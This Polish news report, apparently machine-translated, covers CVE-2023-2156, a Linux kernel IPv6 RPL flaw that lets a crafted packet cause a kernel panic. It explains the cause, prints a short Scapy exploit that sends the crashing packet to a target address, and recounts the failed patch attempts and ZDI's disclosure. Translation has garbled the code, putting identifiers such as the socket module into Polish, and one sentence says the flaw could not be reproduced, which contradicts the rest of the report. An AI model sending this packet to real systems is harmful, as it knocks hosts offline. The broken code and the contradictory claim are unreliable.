Ujawniono informację o nieskorygowanej (0-day) luce (CVE-2023-2156) w jądrze Linuksa, która pozwala na zatrzymanie systemu poprzez wysyłanie specjalnie zaprojektowanych pakietów IPv6 (packet-of-death). Problem pojawia się dopiero gdy włączona jest obsługa protokołu RPL (Routing Protocol for Low-Power and Lossy Networks), który w dystrybucjach jest domyślnie wyłączony i jest używany głównie na urządzeniach wbudowanych pracujących w sieciach bezprzewodowych z dużą utratą pakietów.
Przyczyną luki jest nieprawidłowe przetwarzanie danych zewnętrznych w kodzie analizującym protokół RPL, co prowadzi do niepowodzenia potwierdzenia i przejścia jądra w stan paniki. Podczas umieszczania danych uzyskanych z parsowania nagłówka pakietu IPv6 RPL w strukturze k_buff (Socket Buffer), jeśli pole CmprI ustawione jest na 15, pole Segleft na 1, a CmprE na 0, 48-bajtowy wektor z adresami jest dekompresowany do 528 bajtów i pojawia się sytuacja, gdy pamięć przydzielona na bufor jest niewystarczająca. W tym przypadku funkcja skb_push, używana do wypychania danych do struktury, sprawdza niewspółmierność pomiędzy rozmiarem danych a rozmiarem bufora, generując stan paniki uniemożliwiający zapis poza granicę bufora.
Przykładowy exploit: # Użyjemy Scapy do spreparowania pakietu z scapy.all import * import gniazdo # Użyj protokołu IPv6 z interfejsu LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Używamy gniazd do wysłania pakietu sockfd = gniazdo.socket(socket.AF_INET6, gniazdo.SOCK_RAW, gniazdo.IPPROTO_RAW) # Utwórz pakiet # Typ = 3 sprawia, że jest to pakiet RPL # Adresy zawierają 3 adresy, ale ponieważ CmprI wynosi 15, # każdy oktet pierwszych dwóch adresów jest traktowany jako adres skompresowany # Segleft = 1 w celu wyzwolenia wzmocnienia # lastentry = 0xf0 ustawia CmprI na 15 i CmprE na 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, adresy=[„a8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Wyślij ten zły pakiet sockfd.sendto(bytes(p), (DST_ADDR, 0))
Warto zauważyć, że twórcy jądra zostali powiadomieni o luce w styczniu 2022 r. i w ciągu ostatnich 15 miesięcy trzykrotnie próbowali rozwiązać problem, wydając łatki we wrześniu 2022 r., październiku 2022 r. i kwietniu 2023 r., ale za każdym razem poprawki były niewystarczające i luki nie udało się odtworzyć. Ostatecznie projekt ZDI, który koordynował prace nad naprawieniem luki, zdecydował się opublikować szczegółowe informacje na temat luki, nie czekając na udostępnienie działającej poprawki w jądrze.
Zatem luka w zabezpieczeniach nadal pozostaje nienaprawiona. W szczególności łatka zawarta w jądrze 6.4-rc2 jest nieskuteczna. Użytkownikom zaleca się sprawdzenie, czy w ich systemach nie jest używany protokół RPL, można to zrobić za pomocą polecenia sysctl -a | grep -i rpl_seg_enabled
Źródło: opennet.ru